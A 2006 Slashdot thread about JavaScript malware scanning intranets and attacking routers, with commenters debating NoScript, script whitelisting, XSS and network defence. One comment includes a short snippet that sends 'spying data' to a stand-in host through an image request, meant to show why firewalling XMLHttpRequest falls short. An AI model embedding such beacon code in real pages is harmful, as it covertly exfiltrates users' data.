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JavaScript Malware Open The Door to the Intranet

Posted by Zonk on Sun Jul 30, 2006 06:36 AM
from the anybody-home dept.
Security
An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"
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  • Caveman Zonk edit headline bad.

  • NoScript (Score:5, Informative)

    by dvice_null (981029) on Sunday July 30 2006, @06:45AM (#15810499)
    Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

    • Re:NoScript (Score:5, Informative)

      by rdwald (831442) on Sunday July 30 2006, @06:59AM (#15810530)
      In addition to blocking JavaScript on non-whitelisted sites, NoScript also prevents Flash and Java from loading unless you specifically allow them on a case-by-case basis. All of those stupid Flash adds will be gone, but you can still view everything you want to! It's a great extension.
      • And people will do it anyway, thinking they are 'safe'.

      • It also blocks the <a ping> attribute, something which won't be introduced until Firefox 2 and for which it's possible to set a pref in about:config. Also, it doubles as an egg timer!

        Seriously, NoScript is great, but if I want to block flash I'll install Adblock or Flashblock. If I want to whitelist sites for javascript then I'll use NoScript. Whatever happened to the concept of simply doing one thing well?

    • Re:NoScript (Score:5, Insightful)

      by Anonymous Coward on Sunday July 30 2006, @07:00AM (#15810533)
      The problem is not necessiarly the web browsers (and most don't even use Firefox let alone have even heard of that that extension). The problem is the websites that don't properly take steps to protect against XSS (e.g. HTMLencode user input).

      Most recently we saw this problem in Netscape's portal.

      http://blog.outer-court.com/archive/2006-07-26-n73 .html [outer-court.com]

      Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.
      • Funnily enough, Internet Explorer actually warns you when an untrusted site links to a trusted one. I don't know of any other browsers which do this :)
        • Dude, you must be a troll, but I'll bite. That is just such a load of bullshit, you could *never* be an IT consultant. First of all, if you are coding, you aren't a consultant - a consultant "consults" i.e. you advise the customer on the best course of action to achieve a certain goal. This may be architectural, infrastructure, security, or any other field, but it is *advise* - a good consultant is too *expensive* to be sitting there knocking out code. If your customer can afford to have you write (evidentl
        • What I don't understand is why the other two who replied to you had to be so visceral about it. A simple "No, no, here's what you can do to make sure things are secure" would have sufficed, but instead one had to resort to calling you a troll and the other had to call you a con.

          Alas, I'm realizing that is a common experience on Slashdot. I always imagined geeks who were full of themselves, I guess I had to come here to really find them.

          Anyway, just brush that off, take the good from what they had to say,

    • Re:NoScript (Score:3, Informative)

      by Anonymous Coward
      You missed what they are saying. Even if you whitelist a website, that site can be crossscripted and become infected.
      RTFA.
    • "Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

      The consequences of disabling Javascript can lead to a host of new problems. I used to disable javascript and enable it by whitelist. Then I registered a piece of shareware, paid by credit card, and waited. Of course since the whitelisted servers forwarded off to some other entity which provided the registration pages, it never came back. So I figured out the servers that it
      • NoScript just blocks the javascript...doesn't send it off to somewhere else nor creates any "whitelist". If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.

        I've used NoScript now for quite a while and I love it.
        • If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.
          You just described a whitelist.

          His TRANSACTION was sent off elsewhere, to another site, and because THAT site hadn't been whitelisted, he didn't get an acknowlegement that his payment had been accepted.

          I know you no-script fanboys can't stand the idea that your favorite
    • Why can't users just install Firefox and NoScript extension for it.

      Why not just install Opera 9 and use the new site management capability to manage javascripting. You can disable javascript by default for all sites, and only allow javascript to run on those sites that you trust.

    • I would however like to finally obsolete the User-Agent request header for a Standards/Capabilities header. It's possible to detect JavaScript support, Flash capabilities, sure.. but it should simply be something the client tells the server in the request in the first place.

      I'm currently playing around with AJAX (shameless plug: a MySpace with better usability in PHP [robertjognkaper.com]) but because I can't see if JavaScript is on or off on the server side easily, I have to generate pages which include interface definitions fo
      • Because JS is the "wave of the future"! Everyone wants JS, even for crap like viewing an image! Who needs the [img] tag, let's pepper the html with document.write, because that makes everything so much easier!

        Uhh...

        Yeah really I don't get it either.

        I always browse with JS turned off and only enable it when I really, absolutely need to, or on sites I really trust. I figure, any other sites are a)using it for fluff I don't care about (like fancy dropdown menus that have no business using JS) or b) probably
      • To provide a decent UI for the user, you have to sometimes 'require' JS, for example, if you want to maintain a session when the user isn't actively clicking on links (especially when you need to know who is actually online, eg: see my link), you need to use xmlrpc (sometimes meta refresh just wont do).

        If you want a 'You have recieved mail' popup, you need JS, same with drag/drop, client side validation (along with server side obviously), client side updates of something that is happening server side (eg: t
  • Giving JavaScript the power to do random network accesses may make AJAX possible, but code running in my browser has no business accessing my local intranet. For that matter, I'm uncomfortable with JavaScript applications 'phoning home' without my knowledge.

    So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.

    I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

    • Re:Simple fix to an obvious problem (Score:5, Interesting)

      by ergo98 (9391) on Sunday July 30 2006, @06:54AM (#15810514) Homepage Journal
      Giving JavaScript the power to do random network accesses may make AJAX possible

      The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).

      I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

      Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.

      "Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."
      • What might be smart is an extension hooking into the security subsystems in Firefox to allow the browser to do into "Paranoid Mode" when browsing any site not on the user's favourites or safe-list.

        Paranoid Mode would block all plugins, cookies and javascript, and optionally have a "click-to-load" button in place of content from other servers

    • Re:Simple fix to an obvious problem (Score:4, Insightful)

      by Goaway (82658) on Sunday July 30 2006, @06:57AM (#15810527) Homepage
      document.createElement("img");
      img.src="http://myevilserver.com/phonehome.cgi?evi lspyingdata="+encodeURIComponent(evilspyingdata);
      document.body.appendElement(img);

      Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?

      • As said: the problem is not the XMLHttpRequest that can be done: this is site bound in Firefox. (I think it's domain bound, not site bound actually, but ok)

        The problem is the ability of a homepage to be spread over different servers and locations. The only solution I see is getting images to be domain bound to.

        This solution will only work if it is set on all possible media that is embedded in the page, allowing only relative links for embedded media. Of course, this would totally destroy most parts of t

    • Re:Simple fix to an obvious problem (Score:4, Insightful)

      by roman_mir (125474) on Sunday July 30 2006, @10:23AM (#15811251) Homepage
      this is not insightful, it's silly. This is not even about JAVASCRIPT. An HTML page can access resources from anywhere on the web. And so if JAVASCRIPT is used to access one of those resources (an http request, as in HTML IMAGE tag for example,) then this problem cannot be fixed at JAVASCRIPT level.

      An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.

      The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.

      But then you are questioning the entire Hyper Text idea - the linking of the Internet.

      This most certainly will not be fixed in the next release of ANY browser.

  • How's this news? (Score:2, Insightful)

    by Anonymous Coward
    A portscanner in javascript is trivial and it runs on the client machine behind the corporate firewall. This isn't news, this has been common knowledge for ever. This is why javascript is disabled throughout any organization that takes security seriously. I find it amusing that this only gets planted in the news when certain large tech companies are pushing ajax to replace desktop apps.

    It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that

    • Because it worked so well for the KGB. KGB agents planted by photocopiers to ensure the wrong documents didn't get copied. Typewriters with unique typefaces in a single nonstandard size so that official documents couldn't be faked. Yes, if you are restrictive enough eventually you can bring everything crashing to a halt. However, the concept that everything is forbidden except what is compulsory has hardly proven the most successful business paradigm. IT is supposed to be an enabling technology, not a disab

    • Re:How's this news? (Score:5, Informative)

      by liquidpele (663430) on Sunday July 30 2006, @11:07AM (#15811520) Homepage Journal
      Actually, organizations that take security seriously usually still have javascript enabled, but they secure their damn networks so that once you're past the external firewall, you're still blocked from anything interesting.

      Having only one layer of security is the problem at hand here, not javascript. Javascript is incredably useful, and disabling is certainly not the best answer for most places (I can see govt organizations or sensitive research sections of companies doing this though, but then again why event allow net access at that point?)

  • NoScript extension could be a saviour (Score:5, Informative)

    by CdBee (742846) on Sunday July 30 2006, @07:03AM (#15810538)
    For about a year now I routinely install a whitelisting firefox extension called NoScript [noscript.net]
    It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)

  • WMVs (Score:4, Insightful)

    by CosmeticLobotamy (155360) on Sunday July 30 2006, @07:16AM (#15810571)
    This is slightly off-topic, but it's kind of relevent to the solution of turning javascript off. Can anyone explain to me why javascript is required in Firefox to open a .wmv file (in windows, obviously)? And more importantly, what bug makes Firefox crash about 33% of the time when visiting a site that has one on it when javascript is disabled? What are the odds that bug is overflow exploitable?

  • Configure which sites get javascript? (Score:3, Insightful)

    by Anonymous Coward on Sunday July 30 2006, @07:56AM (#15810655)
    I have been asking for years why we can't disable javascript for all but trusted sites (in phoenix/firefox/etc) via a config facility.. The default when browsing should be OFF.

    Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.

  • And it found some, but not all the web-enabled devices on my network. It found my web server and correctly identified it as Apache, found the squid proxy running on the gateway/firewall machine (identified as "unknown"), but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.

    But the Firefox "NoScript" extension completely blocked it until I told i
    • Roughly the same here in Firefox - it found the webserver on my local machine (though it couldn't identify it), didn't find the Netgear wireless router (possibly down to the password-protection on it), and about every third IP address was incorrectly identified as existing. (In Konqueror, it found my local machine, but not the webserver running on it).
    • ***but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.***

      Doesn't the second part of that make you a little nervous? One possibility is that it is finding your router and print server, but not where they are supposed to be. Could be an error in the program, but it could be some 'feature' of your network environment that you'd like to know a

    • But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.

      And that's lovely, until you realize that not everyone runs Firefox and in many corporate environments, IE is still the defacto standard. Hoping a browser will rescue application developers from bad security design is like hoping Paris Hilton wins a Nobel Prize.

      Security starts with code; if the code isn't secure, then you're asking for trouble. Programming classes in colleges and tech institut

  • Javascript Haters Society (Score:4, Insightful)

    by bateleur (814657) on Sunday July 30 2006, @08:14AM (#15810718)
    So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?

    That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".

    Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.

  • Missing the point (Score:4, Interesting)

    by Minwee (522556) <dcr@neverwhen.org> on Sunday July 30 2006, @08:54AM (#15810835) Homepage
    "Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it."

    Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.

    For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ [local.net] but not for http://random.russian.warez.and.porn.site/ [porn.site] really is a solution.

    • There are some cases where it makes delivery of dynamic content a bit easier by offloading some of the processing to the client, but I'm convinced that a large part of the reason some sites use Javascript is to make it harder to deeplink their site. Sort of like the old disabling-context-menus trick, which, by the way, I'm really glad doesn't work in Firefox (the dialog box saying it's disabled still pops up, but you also still get the context menu).

    • You don't need it - you want it. (Score:5, Insightful)

      by gnuman99 (746007) on Sunday July 30 2006, @10:52AM (#15811427)
      You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it.

      You don't need it - you want it. You want it to make the entire web experience better.

      From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

      Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.

      Similarly with Java, Flash and other things.

  • NCSA Mosaic avoids this problem (Score:3, Funny)

    by shwonline (992049) on Sunday July 30 2006, @09:04AM (#15810869)
    Ah, the simpler days of gray backgrounds and Times New Roman. None of these fancy tables, neither. And we had to walk 5 miles to school, uphill, in snow up to our hips. And 10 miles uphill to get back home. Kids today with their fancy JavaScript. No appreciation, none at all.

  • How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.

    Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSa

  • The detection of IP addressed that aren't running webservers seems to depend entirely on the time taken for the request to fail - long delays are detected as non-existent IP addresses, whereas short ones are reported as IP addresses without a webserver. This doesn't always work - it seems to give false positives if the IP address is detected as nonexistent too quickly, and could give false negatives on slow or unreliable links.

    In addition, if a machine has a webserver on it but requests for / give an err
  • Wide Area Network distributed computing has evolved in a bad way. Web standards are not designed for remote interactive applications and operating systems are not designed for executing remote code.

    We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.

  • Please kill JavaScript. (Score:2, Insightful)

    by Anonymous Coward
    The vast, vast majority of exploits involve JavaScript in one way or another. If it were possible to just "turn off" JavaScript world-wide overnight, the number of exploits would drop down substantially. Of course you would still have the "stupid user" problem, but you can only do so much to combat that.

    As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific b

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